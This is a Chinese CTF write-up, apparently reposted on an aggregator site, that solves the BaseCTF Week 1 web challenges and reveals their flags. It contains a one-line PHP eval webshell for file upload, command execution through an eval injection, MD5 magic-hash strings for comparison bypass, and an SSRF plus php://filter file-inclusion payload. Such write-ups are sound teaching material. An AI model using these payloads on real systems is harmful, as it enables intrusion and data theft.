BaseCTF 高校联合新生赛Week1(web)

2024-08-22 19:20

本文主要是介绍BaseCTF 高校联合新生赛Week1(web),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

HTTP 是什么呀

喵喵喵´•ﻌ•`​编辑

 md5绕过欸

A Dark Room

upload

Aura 酱的礼物


HTTP 是什么呀

url转义: 是将URL中的特殊字符转换为有效的ASCII字符格式的过程,以确保URL的正确解析和传输。这个过程涉及到将非ASCII字符替换为“%hh”格式,其中hh为两位十六进制数,对应于该字符在‌ISO-8859-1字符集里的编码值。URL转义的主要目的是为了确保URL中的特殊字符不会干扰URL的结构或被误解为URL的组成部分。

1.encodeURI:用于对一个完整的URI进行编码,保留字符不会被编码,因为这些字符在URI中有特殊的用途,如分隔符。
2.encodeURIComponent:用于对URI的一个组件进行编码,需要编码的字符更多,因为它假定参数是URI的一部分,如协议、主机名、路径或查询字符串。

X-Forwarded-For反向代理是一种常见的网络安全技术,它通过在代理服务器上对客户端的请求进行转发,实现对目标服务器的访问。在这个过程中,代理服务器会隐藏客户端的真实IP地址,从而保护客户端的隐私。

base64编码的flag 

 或者F12查看返回数据包

BaseCTF{f9a3559f-2af1-423e-aa0f-400b53702442} 

喵喵喵´•ﻌ•`

 <?php
highlight_file(__FILE__);
error_reporting(0);$a = $_GET['DT'];eval($a);?> 

 题目说是php可以执行系统命令:system()函数可以用来执行系统命令,‌包括"cat"命令。‌

system("ls");

//查看执行程序所在目录下的所有目录内容

以下是使用 system() 函数和 cat 命令显示文件内容的示例代码:

<?php
// 要读取的文件路径
$file = 'path/to/your/file.txt';// 使用 system 函数执行 cat 命令
system("cat $file");
?>

 md5绕过欸

 <?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){$name = $_GET['name'];$name2 = $_GET['name2'];$password = $_POST['password'];$password2 = $_POST['password2'];if ($name != $password && md5($name) == md5($password)){if ($name2 !== $password2 && md5($name2) === md5($password2)){echo $flag;}else{echo "再看看啊,马上绕过嘞!";}}else {echo "错啦错啦";}}
else {echo '没看到参数呐';
}
?> 

第一对哈希值弱相等,第二对哈希值强相等

弱相等绕过:以”0e“开头的字符串,会被识别成数字0

强相等绕过:传数组,哈希值会返回null

 哈希后为0e开头的字符串有:

s878926199a      0e545993274517709034328855841020
s155964671a        0e342768416822451524974117254469  
s214587387a        0e848240448830537924465865611904  
s214587387a        0e848240448830537924465865611904  

或者

A Dark Room

查看源码

upload

没有上传要求,直接上传一句话木马

<?php @eval($_POST['flag']);?>

这里的目录是用uploads连接 

检查是否上传成功:没有报错就是成功了,

蚁剑连接:

 在根目录下找到flag文件即可

BaseCTF{08cbb863-0c58-462a-8a3a-da3600310867}

Aura 酱的礼物

<?php
highlight_file(__FILE__);
// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{die('这是 Aura 的礼物,你不是 Aura!');
}// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{die('这不是 Aura 的博客!');
}$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{die('请去博客里面写下感想哦~');
}// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift);

这里die函数执行完,后面的都不会再执行,所以要跳过if;

第一:有个file_get_contents()函数,可以用伪协议data

data://text/plain;base64,xxxx(base64编码后的数据)

第二:challenge参数开头得是http://jasmineaura.github.io

第三:challenge参数内容又要包含”已经收到kenwang的礼物啦“,这里是ssrf漏洞,使用@127.0.0.1绕过

第四:文件包含include,使用filter伪协议

payload如下:

pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@127.0.0.1&gift=pHp://FilTer/convert.base64-encode/resource=flag.php

 对结果进行base64解码得到flag

伪协议参考blog:http://t.csdnimg.cn/DALv9


 

这篇关于BaseCTF 高校联合新生赛Week1(web)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1097168

相关文章

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

EasyPlayer.js网页H5 Web js播放器能力合集

最近遇到一个需求,要求做一款播放器,发现能力上跟EasyPlayer.js基本一致,满足要求: 需求 功性能 分类 需求描述 功能 预览 分屏模式 单分屏(单屏/全屏) 多分屏(2*2) 多分屏(3*3) 多分屏(4*4) 播放控制 播放(单个或全部) 暂停(暂停时展示最后一帧画面) 停止(单个或全部) 声音控制(开关/音量调节) 主辅码流切换 辅助功能 屏

Java 后端接口入参 - 联合前端VUE 使用AES完成入参出参加密解密

加密效果: 解密后的数据就是正常数据: 后端:使用的是spring-cloud框架,在gateway模块进行操作 <dependency><groupId>com.google.guava</groupId><artifactId>guava</artifactId><version>30.0-jre</version></dependency> 编写一个AES加密

9.8javaweb项目总结

1.主界面用户信息显示 登录成功后,将用户信息存储在记录在 localStorage中,然后进入界面之前通过js来渲染主界面 存储用户信息 将用户信息渲染在主界面上,并且头像设置跳转,到个人资料界面 这里数据库中还没有设置相关信息 2.模糊查找 检测输入框是否有变更,有的话调用方法,进行查找 发送检测请求,然后接收的时候设置最多显示四个类似的搜索结果

JavaWeb【day09】--(Mybatis)

1. Mybatis基础操作 学习完mybatis入门后,我们继续学习mybatis基础操作。 1.1 需求 需求说明: 根据资料中提供的《tlias智能学习辅助系统》页面原型及需求,完成员工管理的需求开发。 通过分析以上的页面原型和需求,我们确定了功能列表: 查询 根据主键ID查询 条件查询 新增 更新 删除 根据主键ID删除 根据主键ID批量删除

利用Django框架快速构建Web应用:从零到上线

随着互联网的发展,Web应用的需求日益增长,而Django作为一个高级的Python Web框架,以其强大的功能和灵活的架构,成为了众多开发者的选择。本文将指导你如何从零开始使用Django框架构建一个简单的Web应用,并将其部署到线上,让世界看到你的作品。 Django简介 Django是由Adrian Holovaty和Simon Willison于2005年开发的一个开源框架,旨在简

web群集--nginx配置文件location匹配符的优先级顺序详解及验证

文章目录 前言优先级顺序优先级顺序(详解)1. 精确匹配(Exact Match)2. 正则表达式匹配(Regex Match)3. 前缀匹配(Prefix Match) 匹配规则的综合应用验证优先级 前言 location的作用 在 NGINX 中,location 指令用于定义如何处理特定的请求 URI。由于网站往往需要不同的处理方式来适应各种请求,NGINX 提供了多种匹

构建高性能WEB之HTTP首部优化

0x00 前言 在讨论浏览器优化之前,首先我们先分析下从客户端发起一个HTTP请求到用户接收到响应之间,都发生了什么?知己知彼,才能百战不殆。这也是作为一个WEB开发者,为什么一定要深入学习TCP/IP等网络知识。 0x01 到底发生什么了? 当用户发起一个HTTP请求时,首先客户端将与服务端之间建立TCP连接,成功建立连接后,服务端将对请求进行处理,并对客户端做出响应,响应内容一般包括响应

(javaweb)mysql---DDL

一.数据模型,数据库操作 1.二维表:有行有列 2. 3.客户端连接数据库,发送sql语句给DBMS(数据库管理系统),DBMS创建--以文件夹显示 二.表结构操作--创建 database和schema含义一样。 这样就显示出了之前的内容。